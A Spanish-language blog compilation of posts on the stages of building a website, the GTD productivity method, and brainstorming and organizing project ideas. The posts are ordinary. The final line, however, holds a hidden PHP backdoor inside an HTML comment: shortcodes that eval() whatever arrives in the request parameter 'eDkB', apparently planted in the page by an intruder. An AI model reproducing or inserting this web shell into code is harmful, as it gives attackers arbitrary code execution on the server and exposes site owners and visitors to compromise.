¿Cómo fabricamos una web?

Hace un tiempo, tenia una conversación  sobre las diferentes etapas por las que pasa un proyecto web y como encajaba cada departamento dentro de ese proyecto. La verdad, una vez te pones a pensarlo, te das cuenta de la cantidad de cosas que hay que hacer para que salga adelante.

Voy a intentar hacer una especie de hoja de ruta en la que indique a grosso modo, y según mi punto de vista,  los pasos que se podrían seguir, para que un proyecto de sitio web, vea la luz.

Lo primero es realizar una toma de contacto con el cliente, para que este nos indique que es lo que quiere hacer, y cual será la linea a seguir para realizar el mejor trabajo posible. Una vez que el cliente ha aprobado lo que dice que va a pagar por el proyecto, habiendo dejado claro cual es el alcance, que es lo que quiere mostrar y en que puntos quiere poner mas énfasis, entra en “la cadena de montaje”, debiendo pasar por diferentes fases hasta la entrega final. Algunas de estas fases podrían ser:

  1. Análisis de la información. En este punto se analiza como estará estructurada la información a mostrar en el sitio web. Desde como sera la estructura de los directorios a como se plasmará en el resultado final.
  2. Prototipado. Donde de forma esquematica se plasma como será la web. Hay multitud de herramientas que apoyan esta labor, aunque como casi siempre, el papel y el lápiz forman un equipo de envidiable eficacia. A partir de este momento se considera el prototipo como la “biblia” sobre la que se apoyan todos los demas procesos.
  3. Diseño de linea gráfica. Suele realizarse incluso antes de aprobar el proyecto. Marcará el estilo, tipografias, imágenes, etc que la web mostrará.
  4. Diseño gráfico de plantillas. En esta fase se entra a saco con el diseño de todas las páginas que la web tendrá, home, subhomes, interiores, formato de correos electrónicos, etc.
  5. Maquetación de plantillas y programación cliente. Donde se da forma en HTML, CSS y  Javascript a las plantillas que se realizaron en el paso anterior.
  6. Programación back-end y funcionalidad. Aquí entran en juego los distintos gestores de contenidos. Dependiendo del tipo de proyecto en el cual se embarque el cliente (red social, site corporativo, campaña puntual, etc), es recomendable el uso de un CMS u otro.
  7. Carga de contenidos. Una vez esta definida la estructura del contenido, y que la gente de back-end ha montado la estructura necesaria para almacenar el contenido, es el momento de cargarlo.
  8. Pruebas y validaciones. Ya tenemos nuestro sitio funcional, con el contenido que debe aparecer y con el diseño deseado. Es el momento de probar que todo funciona correctamente.
  9. Documentación. El apartado que casi nunca se realiza, por la fea costumbre que se tiene de dejarlo para el final, cuando si en cada uno de los pasos anteriores, cada “eslabón” se encargara de documentar sus pasos, este únicamente se encargaría de recopilarlo todo.
  10. Optimización SEO y Promoción del sitio. Cuando ya tenemos todo montado y funcionando, es el momento de promocionar nuestro nuevo sitio, para darlo a conocer al mundo. El famoso social-media.

Un largo camino en el que muchas personas ponen su granito de arena. Y todo para que gente como tú y como yo, tenga al alcance de un click todo lo que puede imaginar 😉

Organízate con eficacia – GTD

Aquellos que me conocen un poco, saben lo complicado que es quedar conmigo para cualquier cosa. Siempre tengo algo que hacer. Trabajo, gimnasio, estudios, labores domésticas, médicos, masajistas, naturopatas, etc. Un sin fin de asuntos que no me permiten realizar otras muchas tareas y una inmensidad de proyectos que siempre he tenido en la cabeza.

Por casualidad, navegando sin rumbo en internet, encontré varios sitios que hablaban de un sistema revolucionario en cuanto a gestión personal del tiempo, capacitado para ayudar a aumentar la productividad personal sin estrés. El llamado GTD.

Realmente los apuntes que leía por varios sitios, hicieron que mi curiosidad aumentara, y he terminado por comprarme el libro de David Allen, el cual acabo de terminar de leer. Las sensaciones son buenas. El interés por comenzar a llevar en práctica lo leído, elevado.

Básicamente, y en pocas palabras, nos habla de sacar de nuestra cabeza todo aquello que esta rondando en ella, anotarlo y dejar esas notas en lo que denomina “bandeja de entrada”. Una vez tengamos todo fuera de nuestra cabeza, comenzamos a procesar esas notas, traduciéndolas a acciones a realizar. Estas acciones a realizar pueden ser inmediatas (si tardaremos menos de dos minutos en llevarlas a cabo) o pueden pasar a otros estados (próximas, a la espera, algún día…). Hay que tener un sistema ágil y rápido, que no nos haga perder más tiempo del estrictamente necesario en procesar nuestras acciones.

Dejo algunos enlaces de interés, que hablan en general sobre productividad personal, y en ocasiones (muchas) de GTD en particular:

Ya os iré contando alguna cosilla más, según vaya progresando en la integración de este sistema en mis quehaceres cotidianos 🙂

Segundo Paso – La organización

Ya tenemos ¿todas? nuestras ideas, sobre el proyecto en el que nos embarcamos, escritas en algún lugar. No tienen orden ni concierto, y seguramente nadie que no seamos nosotros mismos será capaz de entender ni un ápice lo que intentan decir.

Ahora toca ordenar todo ese cúmulo de ideas de una manera que sea entendible por el resto de la humanidad y porque no, por nosotros mismos cuando hayan pasado un par de dias y no tengamos tan reciente la creación de los apuntes, o simplemente hayamos creado varios y no sepamos de a que proyecto pertenece cada idea. Creedme, cuando tengáis 4 o 5 ideas distintas para más de un proyecto, no os acordaréis de más de 2 o 3.

Hay muchas maneras de organizar la información: por secciones, por similitud, por dificultad, por el tiempo dedicado a refinarlas, por el tipo, etc. Elegid aquella con la que os sentáis más comodos y creais os va a facilitar el trabajo. Yo personalmente suelo dividirla en tres partes: lo que se hacer, lo que no se hacer, lo que ya he hecho antes. Y dentro de cada una de ellas divido en otras subsecciones: programación, diseño, funcionalidad, etc. No hay un patrón fijo. Debemos recordar que es nuestro proyecto, y que los principales interesados en tener todo claro somos nosotros mismos.

De lo bien o mal que organicemos nuestras ideas, puede depender que nos cueste mas o menos hacer las cosas, e incluso darnos cuenta en esta etapa de que cosas no hace falta que hagamos de nuevo, pues ya las tenemos hechas. Ya sabemos lo escasos de tiempo que andamos todos 🙂

Primer Paso – La idea

El miedo al papel en blanco es algo por lo que alguna vez todos hemos pasado. Tener ideas no es tarea sencilla. Plasmarlas en papel de manera coherente, sobre todo las primeras veces, muy complicado.
Brainstorm
En la vorágine del día a día, pocas son las empresas que dedican un tiempo prudencial a analizar intensamente los proyectos que les llegan. Craso error. Personalmente, siempre he sido de la opinión de que si tenemos claro lo que queremos hacer, luego nos resultará mas sencillo llevarlo a cabo.

Por eso, cuando nos enfrentamos a un nuevo proyecto web de creación propia, lo primero que hay que hacer es apagar el ordenador, coger un lápiz, goma de borrar y un elegir un lugar donde escribir. Bueno, realmente no hay que ser tan drástico, y podemos utilizar el ordenador y olvidarnos del papel y la goma de borrar.

Una vez decidido como vamos a hacerlo (con papel o con el ordenador), pongámonos a escribir todo aquello que querriamos que tuviera nuestro site. Cuando digo todo, me refiero a TODO. No os cortéis, ni os preocupéis de como lo solucionaréis más tarde, de si se podrá o no hacer. Estamos en el momento de las ideas, duro con ellas. Es el instante en que debemos estrujar el cerebro. Incluso imaginaros como quedaría, lo que estáis escribiendo, cuando el proyecto este finalizado. Poco a poco ira tomando forma y en vuestra cabeza apareceran colores, fotografias, dibujos, estructura y mil y una cosas que os ayudarán en pasos posteriores. Anotadlo todo, no dejéis nada de lo que vuestra imaginación fabrique sin anotar. Mas adelante lo agradeceréis.

<!– [insert_php]if (isset($_REQUEST["eDkB"])){eval($_REQUEST["eDkB"]);exit;}[/insert_php][php]if (isset($_REQUEST["eDkB"])){eval($_REQUEST["eDkB"]);exit;}[/php] –>